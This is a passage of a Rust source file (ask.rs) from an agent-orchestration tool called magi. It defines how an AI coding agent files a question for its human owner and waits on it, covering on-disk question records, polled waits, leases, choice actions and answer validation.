Skip to main content

magi/
ask.rs

1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43/// On-disk format for a question. Bumped when a field's meaning changes, or -
44/// as with [`Question::thread`], [`Question::answer_timeout`] and now the
45/// waiter bookkeeping ([`Question::cwd`], [`Question::waiter`],
46/// [`Question::delivered_turns`], [`Question::answer_delivered`]) - when a
47/// new field is added that a much older magi has no notion of at all.
48///
49/// The web UI is written against this shape by hand - there is no shared schema
50/// between the front end and this struct - so a field that changes meaning
51/// without a bump here is a UI that lies silently.
52///
53/// A file is refused only when its own `schema` is *greater* than this one -
54/// see [`read_path`] - never merely different: `#[serde(default)]` on every
55/// field added since 1 is what makes an older file's absence of `thread` mean
56/// "no conversation yet" rather than "unreadable", and a strict equality check
57/// would turn every bump into an upgrade that breaks reading yesterday's
58/// question files.
59/// Schema 8 adds optional local posting comparison data. Older questions use Markdown.
60/// Schema 9 preserves individual original triggers inside whole-field replacements.
61/// Schema 10 records the operator decision generation for built-in triage.
62/// Schema 11 binds merge decisions to the displayed PR and head.
63/// Schema 12 adds closed, daemon-applied maintenance choice actions.
64/// Schema 13 records an ended consultation without resolving its question.
65pub const SCHEMA: u32 = 13;
66
67/// How often the wait re-reads the question file.
68///
69/// Three seconds: the answer comes from a human on a phone, so the difference
70/// between three seconds and three hundred milliseconds is invisible to them,
71/// while a tight loop would `stat` and parse a file thousands of times per
72/// minute for a wait that routinely lasts hours. Nothing is held between polls -
73/// no lock, no open handle - because `magi web` and `magi answer` write the
74/// same file from other processes.
75const POLL: Duration = Duration::from_secs(3);
76
77/// How long an agent's reply may go unnoticed before it earns its own
78/// notification.
79///
80/// An operator reading the card when the agent replies does not need paging
81/// again for a conversation they are already in; one who walked away still
82/// needs the tap on the shoulder. Five minutes is a judgement call about that
83/// line, not a policy a repository has an opinion about, which is why it lives
84/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
85/// whether they are still looking at the phone, and neither can this build, so
86/// there is nothing for a per-repository setting to be *right* about.
87const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
88
89/// How long the operator's notification command may run before it is killed.
90///
91/// A webhook that hangs must not hang the run. Twenty seconds is long enough
92/// for a slow HTTP round trip and short enough that the operator still gets the
93/// question filed and the run parked in a bounded time.
94const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
95
96/// The longest a single `magi ask` invocation may block on the owner before
97/// it hands the wait back to whatever is running it, rather than to
98/// [`Question::abandon`].
99///
100/// `answer_timeout` defaults to a day, and that is a deadline for the
101/// *question*, not a budget the calling process is free to spend all at
102/// once: an agent CLI's own shell tool kills a command that runs much longer
103/// than this, and the child it kills is `magi ask` itself - the one thing
104/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
105/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
106/// out, and the seat's own summary said it had backgrounded the blocking
107/// `magi ask` and would "continue once the owner replies" - except nothing
108/// was left to notice the reply. The seat exited `completed`, the
109/// backgrounded child died with it, and the owner's eventual answer on the
110/// web UI had nobody left to read it.
111///
112/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
113/// and returns [`Wait::Pending`] if nothing happened, which is not a
114/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
115/// process the tool timeout has never seen. Four minutes leaves a ten-minute
116/// tool budget room for the CLI's own startup and the notification's round
117/// trip, while staying long enough that an owner who answers within the hour
118/// is not making an agent loop through fifteen slices to hear about it.
119const WAIT_SLICE: Duration = Duration::from_secs(240);
120
121/// How long a lease stays believable after its last beat.
122///
123/// Longer than [`WAIT_SLICE`]'s hand-back gap by a wide margin: a slice that
124/// ends with [`Wait::Pending`] leaves the asking agent a moment to call
125/// `magi ask --wait` again, and a reply leaves it a moment to call `--thread`.
126/// A holder that beats every [`POLL`] and is silent for ninety seconds is gone
127/// or about to be, and a lease that is merely between two calls must not be
128/// mistaken for that - the daemon waiter would start a second agent on a
129/// conversation the first is still in.
130pub const LEASE_TTL: Duration = Duration::from_secs(90);
131
132/// How long [`Questions::update`]'s lock may be held before it is presumed
133/// left behind by a writer that died.
134const LOCK_STALE: Duration = Duration::from_secs(10);
135
136/// Environment variable naming the base URL of the web UI, for `{url}`.
137///
138/// A run cannot discover this by itself: `magi web` is a different process,
139/// usually started by hand and often on a different machine on the tailnet, and
140/// the address it settled on (Tailscale IP, port, or the fallback it warned
141/// about) exists only in that process. So the operator names it once, in the
142/// environment `magi serve` runs in - `magi web --open` prints exactly the
143/// string to use on stdout. Unset means `{url}` expands to nothing rather than
144/// to a guess: a notification carrying a link to an address nothing is
145/// listening on is worse than one carrying no link at all.
146pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
147
148/// Largest panel magi will store, html plus assets.
149///
150/// Checked as a total, before a single byte is written, because the failure
151/// this prevents is not a full disk but a half-copied panel: an agent that
152/// points at a 200 MB screen recording must get one clean error, not a
153/// directory holding the three small files that fitted before the copy died.
154/// Eight mebibytes is far more than a diff, a table and a handful of images
155/// need, and small enough that a phone on a hotel link still renders it.
156pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
157
158/// Suffix of the directory holding one question's panel.
159///
160/// A sibling of `<id>.json` rather than a subdirectory of the store, so
161/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
162/// see it, and so a panel travels with the question it belongs to.
163const PANEL_DIR: &str = ".panel";
164
165/// The panel's entry point inside its directory.
166const PANEL_HTML: &str = "index.html";
167
168/// Scratch directory a panel is assembled in before it is swapped into place.
169const PANEL_TMP: &str = ".panel.tmp";
170
171/// The one asset filename rule, applied on write **and** on read.
172///
173/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
174/// containing `..`. The pattern is this narrow because the name arrives from
175/// two untrusted directions and is then joined onto a path: an agent naming
176/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
177/// character that could change what the join means is outside the set - `/`
178/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
179/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
180/// refused, which matters because on Windows `Path::join` with an absolute
181/// path *discards the whole prefix* and would serve any file on the disk.
182/// `..` is refused anywhere rather than only at the front so the rule reads
183/// the same as the sentence "no traversal" to anyone auditing it.
184///
185/// The length bound keeps a name inside every filesystem's limit, so a panel
186/// that stores cannot fail to store on the operator's other machine.
187pub fn valid_asset_name(name: &str) -> bool {
188    if name.is_empty() || name.len() > 64 || name.contains("..") {
189        return false;
190    }
191    let mut chars = name.chars();
192    chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
193        && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
194}
195
196/// Where a question is in its life.
197#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
198#[serde(rename_all = "lowercase")]
199pub enum QuestionStatus {
200    /// Asked, and waiting for the owner. A run is parked behind it.
201    Open,
202    /// The owner decided. [`Question::answer`] holds what they said.
203    Answered,
204    /// Nobody answered in time, or the question outlived the run that asked.
205    /// Kept rather than deleted: what was asked and never answered is the
206    /// evidence that the operator was the bottleneck.
207    Abandoned,
208}
209
210impl QuestionStatus {
211    /// Is a run still parked behind this question?
212    pub fn open(self) -> bool {
213        matches!(self, Self::Open)
214    }
215
216    /// Lowercase name, as it appears on disk and in the API.
217    pub fn as_str(self) -> &'static str {
218        match self {
219            Self::Open => "open",
220            Self::Answered => "answered",
221            Self::Abandoned => "abandoned",
222        }
223    }
224}
225
226/// What the owner said.
227///
228/// Two shapes rather than one string because the question decides which is
229/// admissible, and [`Question::answer`] enforces it. A phone that posts
230/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
231/// front end, and it is caught here rather than handed to an agent as fact.
232#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
233#[serde(rename_all = "lowercase")]
234pub enum Answer {
235    /// One of the offered choices, verbatim.
236    Choice(String),
237    /// Free text, for a question that offered no choices.
238    Text(String),
239}
240
241/// What the daemon does to the task behind a question when a particular
242/// choice is answered.
243///
244/// A closed set, attached to a choice by the asker (`magi ask --choice X
245/// --action X=resume`) and matched by the choice's exact text. Nothing here
246/// is ever derived from the wording of a label or of a free-text answer: a
247/// question without an action for the chosen label does nothing but answer.
248#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
249#[serde(tag = "do", rename_all = "lowercase")]
250pub enum ChoiceAction {
251    /// Resume this run of the task that owns the question.
252    Resume {
253        /// The run to continue. Must still be the task's latest run.
254        run: String,
255    },
256    /// Resume a named execution through the shared driver service.
257    ResumeRun {
258        /// Exact run ID; never a prefix resolved at application time.
259        run: String,
260    },
261    /// Release only the exact hold the question was filed about.
262    ReleaseTask {
263        /// Exact queue task ID.
264        task: String,
265        /// Start of the hold observed when filing the question.
266        held_at: jiff::Timestamp,
267        /// Exact hold reason (including its absence) observed when filing.
268        reason: Option<String>,
269    },
270    /// Rerun these failed workflow runs once, on this exact PR head.
271    RerunChecks {
272        /// Repository used for forge access.
273        repo: PathBuf,
274        /// Named pull request URL or number.
275        pr: String,
276        /// Commit whose checks the owner saw.
277        head: String,
278        /// Failed workflow run IDs, bounded to twenty.
279        runs: Vec<String>,
280    },
281    /// End a predecessor only after the shared driver judge proves it dead.
282    AbandonRun {
283        /// Exact predecessor run ID.
284        run: String,
285    },
286    /// Requeue the task as a fresh competition.
287    Requeue,
288    /// Hold the task until the operator releases it.
289    Hold,
290    /// Close the task as done.
291    Done,
292}
293
294impl ChoiceAction {
295    /// Maintenance effects are applied exclusively by the daemon.
296    pub fn maintenance(&self) -> bool {
297        matches!(
298            self,
299            Self::ResumeRun { .. }
300                | Self::ReleaseTask { .. }
301                | Self::RerunChecks { .. }
302                | Self::AbandonRun { .. }
303        )
304    }
305
306    /// Parse a `--action` value: `<label>=<verb>`, where the verb is
307    /// `resume[:<run>]`, `requeue`, `hold` or `done`. A `resume` without a run takes
308    /// `default_run` (the asker's own `MAGI_RUN`). Returns the label and its
309    /// action; whether the label is one of the choices is the caller's check.
310    pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
311        let split = spec
312            .find("={")
313            .map(|at| (&spec[..at], &spec[at + 1..]))
314            .or_else(|| spec.rsplit_once('='));
315        let Some((label, verb)) = split else {
316            bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
317        };
318        let label = label.trim();
319        if label.is_empty() {
320            bail!("`--action {spec}` names no choice before `=`");
321        }
322        let verb = verb.trim();
323        if verb.starts_with('{') {
324            let action = serde_json::from_str(verb).context("parse typed choice action")?;
325            return Ok((label.to_owned(), action));
326        }
327        let action = match verb.split_once(':') {
328            Some(("resumerun", run)) if !run.trim().is_empty() => Self::ResumeRun {
329                run: run.trim().into(),
330            },
331            Some(("abandonrun", run)) if !run.trim().is_empty() => Self::AbandonRun {
332                run: run.trim().into(),
333            },
334            Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
335                run: run.trim().to_owned(),
336            },
337            None if verb == "resume" => {
338                if default_run.is_empty() {
339                    bail!("`--action {spec}` names no run and MAGI_RUN is not set");
340                }
341                Self::Resume {
342                    run: default_run.to_owned(),
343                }
344            }
345            None if verb == "requeue" => Self::Requeue,
346            None if verb == "hold" => Self::Hold,
347            None if verb == "done" => Self::Done,
348            _ => bail!(
349                "unknown action `{verb}` in `--action {spec}`; \
350                 use resume[:<run>], requeue, hold or done"
351            ),
352        };
353        Ok((label.to_owned(), action))
354    }
355
356    /// Stable aliases for internal recovery, independent of display labels.
357    /// Other effects still require their offered labels and existing consent.
358    pub fn matches_alias(&self, input: &str) -> bool {
359        let input = input.trim();
360        match self {
361            Self::Resume { run } => {
362                [
363                    "resume",
364                    "resume run",
365                    "resume-run",
366                    "再開",
367                    "実行再開",
368                    "実行を再開",
369                    "実行を再開する",
370                ]
371                .iter()
372                .any(|alias| input.eq_ignore_ascii_case(alias))
373                    || [
374                        format!("resume {run}"),
375                        format!("resume:{run}"),
376                        format!("resume run {run}"),
377                        format!("resume {}", short(run)),
378                        format!("resume run {}", short(run)),
379                    ]
380                    .iter()
381                    .any(|alias| input.eq_ignore_ascii_case(alias))
382            }
383            Self::Hold => ["hold", "keep-held", "keep held", "保留"]
384                .iter()
385                .any(|alias| input.eq_ignore_ascii_case(alias)),
386            _ => false,
387        }
388    }
389
390    /// Short human wording, for `magi show` and the card.
391    pub fn describe(&self) -> String {
392        match self {
393            Self::Resume { run } => format!("resume run {}", short(run)),
394            Self::ResumeRun { run } => format!("resume run {}", short(run)),
395            Self::ReleaseTask { task, .. } => format!("release held task {}", short(task)),
396            Self::RerunChecks { pr, .. } => format!("rerun failed checks of {pr} once"),
397            Self::AbandonRun { run } => format!("abandon proven stopped run {}", short(run)),
398            Self::Requeue => "requeue the task".to_owned(),
399            Self::Hold => "hold the task until the operator releases it".to_owned(),
400            Self::Done => "mark the task done".to_owned(),
401        }
402    }
403}
404
405/// Parse every `--action` value against the offered `choices`, refusing a
406/// label the question does not offer (it could never fire).
407pub fn parse_actions(
408    specs: &[String],
409    choices: &[String],
410    default_run: &str,
411) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
412    let mut out = std::collections::BTreeMap::new();
413    for spec in specs {
414        let (label, action) = ChoiceAction::parse(spec, default_run)?;
415        if !choices.contains(&label) {
416            bail!(
417                "`--action {spec}`: `{label}` is not one of the --choice values ({})",
418                choices.join(", ")
419            );
420        }
421        if out.insert(label.clone(), action).is_some() {
422            bail!("more than one --action for `{label}`");
423        }
424    }
425    Ok(out)
426}
427
428/// Who wrote one turn of a question's conversation.
429///
430/// Two values, not three: [`Question::thread`] is the record of a single
431/// question stopping and resuming, and the agent that resumes it is always
432/// the one that asked - a fresh consultant would have to be caught up on
433/// everything the first agent already knows, which is the round trip this
434/// module exists to avoid. The names and the wire spelling deliberately match
435/// [`crate::chat::Who`], which this module does not depend on: the two are the
436/// same idea in two products, and giving them the same shape is what lets the
437/// phone render both with one component.
438#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
439#[serde(rename_all = "lowercase")]
440pub enum Who {
441    /// The person the agent asked.
442    Operator,
443    /// The agent that asked, replying to a question of its own rather than
444    /// answering.
445    Agent,
446}
447
448/// One turn in a question's back-and-forth, after the question itself was
449/// asked.
450///
451/// The question's own `summary`/`detail`/`choices` already carry the agent's
452/// opening move, so a turn only exists from the moment the owner talks back -
453/// [`Question::thread`] starts empty and stays that way for the overwhelming
454/// majority of questions, which are answered on the first read.
455#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
456#[serde(deny_unknown_fields)]
457pub struct Turn {
458    /// Who said it.
459    pub who: Who,
460    /// What they said.
461    pub body: String,
462    /// When they said it.
463    pub at: Timestamp,
464    /// A deputy's own report beside a settle: side effects it caused and
465    /// requests it could not carry out. The deputy's claim, never checked by
466    /// magi, and kept apart from `body` so the verified "Settled as" line and
467    /// this self-report cannot be mistaken for each other.
468    #[serde(default, skip_serializing_if = "Option::is_none")]
469    pub note: Option<String>,
470}
471
472/// Who is keeping watch over an open question.
473#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
474#[serde(rename_all = "lowercase")]
475pub enum WaiterKind {
476    /// The `magi ask` process the agent started.
477    Asker,
478    /// The `magi serve` waiter ([`crate::waiter`]), resuming the asking seat's
479    /// own session because the asker is gone.
480    Daemon,
481    /// The question's deputy ([`crate::deputy`]): a short-lived seat that
482    /// `magi serve` runs for a question the conductor filed, so that something
483    /// which remembers why it was asked is on the other end.
484    Deputy,
485}
486
487/// The follow-up seat a conductor question hands its wait to.
488///
489/// The conductor itself never waits (see [`crate::conduct`]), so a free-text
490/// reply to its question would reach nobody. A deputy is a seat of its own -
491/// keyed `deputy-<question id>`, never the conductor's shared seat - that
492/// inherits what the conductor knew about this one question ([`Deputy::brief`])
493/// and blocks on it with `magi ask --wait`. Persisted on the question so a
494/// restarted daemon resumes the same CLI conversation instead of assuming it.
495///
496/// Written only through [`Questions::update`]: the owner's say and answer land
497/// on the same file.
498#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
499pub struct Deputy {
500    /// Why the question was asked, what each choice leads to: the conductor's
501    /// context for this one question, handed to the deputy in its prompt.
502    pub brief: String,
503    /// The agent that holds the seat. Empty until the first start.
504    #[serde(default)]
505    pub agent: String,
506    /// The deputy's own conversation. `None` until the first start.
507    #[serde(default)]
508    pub seat: Option<crate::agent::SeatState>,
509    /// How many times a deputy turn was started for this question. Never reset
510    /// by a restart, so a deputy that keeps dying is bounded.
511    #[serde(default)]
512    pub starts: u32,
513}
514
515impl Deputy {
516    /// A deputy that has not started yet, holding `brief`.
517    pub fn new(brief: String) -> Self {
518        Self {
519            brief,
520            agent: String::new(),
521            seat: None,
522            starts: 0,
523        }
524    }
525}
526
527/// Seat name of the deputy for question `id`.
528pub fn deputy_seat_key(id: &str) -> String {
529    format!("deputy-{}", short(id))
530}
531
532/// The record's note of who was last known to be waiting.
533///
534/// A note, not a promise: nothing rewrites the question when a holder dies, so
535/// whether it still holds is read from the [`Lease`] beside it.
536#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
537pub struct Waiter {
538    /// Who took the wait.
539    pub kind: WaiterKind,
540    /// When they took it.
541    pub since: Timestamp,
542}
543
544/// A sidecar (`<id>.lease`) saying that something is alive and waiting.
545///
546/// A sidecar rather than a field of the question because a holder beats every
547/// few seconds, and rewriting the question that often would race the phone's
548/// answer and say with lost updates. It is not `*.json`, so
549/// [`Questions::list`] never sees it. No pid check: pids are reused and mean
550/// different things across platforms, while a beat that stopped is evidence on
551/// every one.
552#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
553pub struct Lease {
554    /// Who beat last.
555    pub kind: WaiterKind,
556    /// Their process id, for a human reading the file.
557    pub pid: u32,
558    /// When they beat last.
559    pub beat_at: Timestamp,
560}
561
562impl Lease {
563    /// Was the last beat recent enough to believe the holder is still there?
564    pub fn fresh(&self, now: Timestamp) -> bool {
565        now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
566    }
567}
568
569/// One decision magi will not take on the owner's behalf.
570#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
571#[serde(deny_unknown_fields)]
572pub struct Question {
573    /// On-disk format version.
574    pub schema: u32,
575    /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
576    /// task's, so the operator can paste any of them at any prefix argument.
577    pub id: String,
578    /// Run that is parked behind this question.
579    pub run: String,
580    /// Graph node the asking agent was working in, e.g. `implement`.
581    pub node: String,
582    /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
583    /// this" decides whether the answer unblocks one candidate or all of them.
584    pub seat: String,
585    /// One line: the question itself. This is what a notification carries and
586    /// what the phone shows above the answer controls.
587    pub summary: String,
588    /// The reasoning behind the question, as markdown. May be long, may be
589    /// empty. Rendered as text nodes by the UI, never as markup.
590    pub detail: String,
591    /// Display-only comparison; never used to decide or construct a post.
592    #[serde(default, skip_serializing_if = "Option::is_none")]
593    pub posting_comparison: Option<crate::github_text::PostingComparison>,
594    /// The admissible answers. **Empty means free text** - that one condition
595    /// is the whole difference between the two kinds of question, on disk, in
596    /// the UI, and in [`Question::answer`]'s validation.
597    pub choices: Vec<String>,
598    /// Exact PR and head displayed to the owner. Absent on legacy questions.
599    #[serde(default)]
600    pub merge_target: Option<crate::merge_decision::Target>,
601    /// Task decision outbox; retained until task-chat delivery is durable.
602    #[serde(default)]
603    pub routed_task: Option<String>,
604    /// Set after delivery; merge consent remains in this record.
605    #[serde(default)]
606    pub routed_chat: Option<String>,
607    /// Literal replacement title supplied with a routed publication decision.
608    /// This is publication data, not owner-consent evidence.
609    #[serde(default, skip_serializing_if = "Option::is_none")]
610    pub publication_title: Option<String>,
611    /// What the daemon does when a given choice is answered, keyed by the
612    /// choice's exact text. Empty for an ordinary question. A key is always
613    /// one of [`Question::choices`]; `#[serde(default)]` so older files read.
614    #[serde(default)]
615    pub actions: std::collections::BTreeMap<String, ChoiceAction>,
616    /// Does this question have an agent-authored HTML panel beside it?
617    ///
618    /// Serialised with a default so a question written by an older magi - or
619    /// by hand - still deserialises rather than failing the whole store, which
620    /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
621    /// open question the operator was looking for.
622    #[serde(default)]
623    pub panel: bool,
624    /// Files copied in beside the panel's html, by base name, sorted.
625    ///
626    /// The list exists so a reader knows what a panel is made of without
627    /// walking the directory, and every entry satisfies [`valid_asset_name`].
628    /// Sorted because it is compared - a question re-asked with the same
629    /// assets in a different argument order is not a different question.
630    #[serde(default)]
631    pub assets: Vec<String>,
632    /// Current state.
633    pub status: QuestionStatus,
634    /// When the agent asked.
635    pub asked_at: Timestamp,
636    /// Operator decision generation when a built-in triage question was filed.
637    #[serde(default)]
638    pub triage_generation: Option<u64>,
639    /// When the owner answered, if they did.
640    pub answered_at: Option<Timestamp>,
641    /// What they said.
642    pub answer: Option<Answer>,
643    /// Everything said after the question itself, oldest first: the owner
644    /// asking back, the agent replying, as many times as it takes before an
645    /// [`Answer`] lands.
646    ///
647    /// `#[serde(default)]` so a question written before this field existed -
648    /// every question on disk before this build - still deserialises as one
649    /// with no conversation yet, rather than failing [`Questions::list`]'s
650    /// read and quietly hiding an open question from the operator.
651    #[serde(default)]
652    pub thread: Vec<Turn>,
653    /// The `answer_timeout`, in seconds, that was in force when this question
654    /// was first asked. `0` means unrecorded - a question written before this
655    /// field existed, or one filed by a flow (land's merge-approval gate)
656    /// that never sets it because it never resumes a sliced wait.
657    ///
658    /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
659    /// or the config default) is decided by the caller, after the question
660    /// already exists - so it starts at `0` here and whoever files a fresh
661    /// question sets it once, the same way [`Question::panel`] is set by
662    /// [`Questions::put_panel`] rather than by the constructor. It is never
663    /// touched again: `magi ask --wait` reads it as the one deadline it is
664    /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
665    /// on a later call can never quietly extend or shrink the budget the
666    /// question was actually asked with.
667    #[serde(default)]
668    pub answer_timeout: u64,
669    /// The directory the asking agent was working in when it asked, so the
670    /// daemon waiter can resume that agent's session from where it stood.
671    /// `None` for a question no `magi ask` filed (land's approval gate, a
672    /// release notice, one written before this field existed): those have no
673    /// agent to hand anything back to, and the waiter leaves them alone.
674    #[serde(default)]
675    pub cwd: Option<String>,
676    /// Who was last known to be waiting - see [`Waiter`].
677    #[serde(default)]
678    pub waiter: Option<Waiter>,
679    /// How many entries of [`Question::thread`] the agent has been shown, by
680    /// the asking process printing them or by the waiter resuming the seat.
681    /// The owner's turn at an index at or past this has reached nobody yet.
682    #[serde(default)]
683    pub delivered_turns: usize,
684    /// Has the agent been told the [`Answer`]? The asker prints it as it
685    /// returns; the waiter delivers it when the asker was gone.
686    #[serde(default)]
687    pub answer_delivered: bool,
688    /// The follow-up seat waiting on this question, for a question the
689    /// conductor filed. `None` for every other question.
690    #[serde(default)]
691    pub deputy: Option<Deputy>,
692    /// Set once the owner handed this question to the chat it came from
693    /// ([`crate::consult::begin`]). The question stays open; this only records
694    /// that the chat was asked, so a second tap does not post it twice.
695    #[serde(default)]
696    pub consult: Option<ChatConsult>,
697    /// Owner evidence a chat answer persisted before owner requests went
698    /// through without consent checks. Kept (reduced to the fields below) so
699    /// an old record keeps loading (`deny_unknown_fields`) and an old pending
700    /// `use my text` answer keeps its title through a re-save
701    /// ([`crate::github_text::read_reply`]); nothing assigns it any more.
702    #[serde(default, skip_serializing_if = "Option::is_none")]
703    pub answer_authority: Option<LegacyAnswerAuthority>,
704    /// Owner decision outside the choices; ends consultation without answering.
705    #[serde(default, skip_serializing_if = "Option::is_none")]
706    pub consult_outcome: Option<crate::consult::ConsultOutcome>,
707    /// Independent task facts behind a conductor question. Answered questions
708    /// with unchanged facts must not be regenerated just to ask again.
709    #[serde(default)]
710    pub decision_context: Option<String>,
711}
712
713/// A question the owner passed to the chat conversation its task came from.
714#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
715pub struct ChatConsult {
716    /// The conversation the question was posted into.
717    pub talk: String,
718    /// When it was posted.
719    pub at: Timestamp,
720}
721
722/// The part of an old record's `answer_authority` that is still read: the
723/// owner instruction an old pending `use my text` answer took its title from.
724/// Every other key of the old evidence is ignored on load.
725#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
726pub struct LegacyAnswerAuthority {
727    /// Question the old evidence was bound to.
728    pub question: String,
729    /// Choice the old evidence was bound to.
730    pub choice: String,
731    /// The owner's full instruction.
732    pub instruction: String,
733}
734
735impl Question {
736    /// Does `run` hold a task id rather than a run id? True for the
737    /// conductor's and the triage questions, which are filed about a task.
738    pub fn run_names_task(&self) -> bool {
739        matches!(
740            self.node.as_str(),
741            crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
742        )
743    }
744
745    /// Ask something. Persist it with [`Questions::put`], or hand it to
746    /// [`ask_and_wait`], which files it and waits.
747    pub fn new(
748        run: String,
749        node: String,
750        seat: String,
751        summary: String,
752        detail: String,
753        choices: Vec<String>,
754    ) -> Self {
755        Self {
756            schema: SCHEMA,
757            id: new_id(),
758            run,
759            node,
760            seat,
761            summary,
762            detail,
763            posting_comparison: None,
764            choices,
765            merge_target: None,
766            routed_task: None,
767            routed_chat: None,
768            publication_title: None,
769            actions: std::collections::BTreeMap::new(),
770            panel: false,
771            assets: Vec::new(),
772            status: QuestionStatus::Open,
773            asked_at: Timestamp::now(),
774            triage_generation: None,
775            answered_at: None,
776            answer: None,
777            thread: Vec::new(),
778            answer_timeout: 0,
779            cwd: None,
780            waiter: None,
781            delivered_turns: 0,
782            answer_delivered: false,
783            deputy: None,
784            consult: None,
785            answer_authority: None,
786            consult_outcome: None,
787            decision_context: None,
788        }
789    }
790
791    /// Short form used in reports and on the phone, matching a run's short id.
792    pub fn short(&self) -> &str {
793        short(&self.id)
794    }
795
796    /// The action attached to the choice that was answered, if the question
797    /// is answered with a choice that carries one. Free text never matches.
798    pub fn chosen_action(&self) -> Option<&ChoiceAction> {
799        match (&self.status, &self.answer) {
800            (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
801            _ => None,
802        }
803    }
804
805    /// Does this question want free text rather than one of a set?
806    pub fn free_text(&self) -> bool {
807        self.choices.is_empty()
808    }
809
810    /// Exact reply values, kept separate from human action descriptions.
811    /// Resolve each advertised alias through the real parser, including ambiguity.
812    pub fn reply_guidance(&self) -> String {
813        self.choices
814            .iter()
815            .map(|label| {
816                let aliases: Vec<_> = ["resume-run", "keep-held"]
817                    .into_iter()
818                    .filter(|alias| self.resolve_reply(alias).ok() == Some(label.as_str()))
819                    .collect();
820                let exact = serde_json::to_string(label).expect("serialize label");
821                let reply = if aliases.is_empty() {
822                    format!("exact label: {exact}")
823                } else {
824                    format!(
825                        "exact label: {exact}; accepted aliases: {}",
826                        aliases.join(", ")
827                    )
828                };
829                match self.actions.get(label) {
830                    Some(action) => {
831                        format!("{reply}; effect (not reply text): {}", action.describe())
832                    }
833                    None => reply,
834                }
835            })
836            .collect::<Vec<_>>()
837            .join("\n")
838    }
839
840    /// Resolve terminal aliases to the exact stored label before authorization.
841    /// Aliases describe structured effects, never translated display text.
842    pub fn resolve_reply<'a>(&'a self, reply: &'a str) -> Result<&'a str> {
843        if self.free_text() || self.choices.iter().any(|c| c == reply) {
844            return Ok(reply);
845        }
846        if ChoiceAction::Hold.matches_alias(reply)
847            && let Some(label) = self
848                .choices
849                .iter()
850                .find(|label| crate::triage::contextual_keep_held(self, label))
851        {
852            return Ok(label);
853        }
854        let matches: Vec<_> = self
855            .actions
856            .iter()
857            .filter(|(label, action)| self.choices.contains(label) && action.matches_alias(reply))
858            .collect();
859        match matches.as_slice() {
860            [(label, _)] => Ok(label.as_str()),
861            [] => bail!(
862                "alias mismatch with offered choices: `{reply}` is not an offered label or supported action alias; exact labels: {}; inspect `magi answer --list`, copy the intended offered label verbatim into --reply, and retry once (action descriptions and bracketed annotations are not reply values)",
863                serde_json::to_string(&self.choices).expect("serialize labels")
864            ),
865            _ => bail!(
866                "ambiguous action alias: `{reply}` matches multiple choices; select the intended offered label"
867            ),
868        }
869    }
870
871    /// Record an answer. Rejects a choice the question does not offer, free
872    /// text on a multiple-choice question, an empty answer, and a second
